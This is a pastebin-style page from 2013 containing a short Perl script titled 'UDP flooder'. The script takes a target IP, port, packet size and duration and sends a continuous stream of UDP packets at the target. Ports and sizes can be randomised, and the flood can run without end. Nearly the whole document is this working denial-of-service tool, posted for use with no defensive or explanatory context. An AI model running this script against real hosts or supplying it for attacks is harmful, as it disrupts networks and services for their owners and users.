Perl UDP flooder


SUBMITTED BY: Guest

DATE: May 18, 2013, 11:10 p.m.

FORMAT: Text only

SIZE: 1.1 kB

HITS: 1397

  1. #!/usr/bin/perl
  2. ##############
  3. # udp flood.
  4. ##############
  5. use Socket;
  6. use strict;
  7. if ($#ARGV != 3) {
  8. print "flood.pl <ip> <port> <size> <time>\n\n";
  9. print " port=0: use random ports\n";
  10. print " size=0: use random size between 64 and 1024\n";
  11. print " time=0: continuous flood\n";
  12. exit(1);
  13. }
  14. my ($ip,$port,$size,$time) = @ARGV;
  15. my ($iaddr,$endtime,$psize,$pport);
  16. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  17. $endtime = time() + ($time ? $time : 1000000);
  18. socket(flood, PF_INET, SOCK_DGRAM, 17);
  19. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  20. ($size ? "$size-byte" : "random size") . " packets" .
  21. ($time ? " for $time seconds" : "") . "\n";
  22. print "Break with Ctrl-C\n" unless $time;
  23. for (;time() <= $endtime;) {
  24. $psize = $size ? $size : int(rand(1024-64)+64) ;
  25. $pport = $port ? $port : int(rand(65500))+1;
  26. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

comments powered by Disqus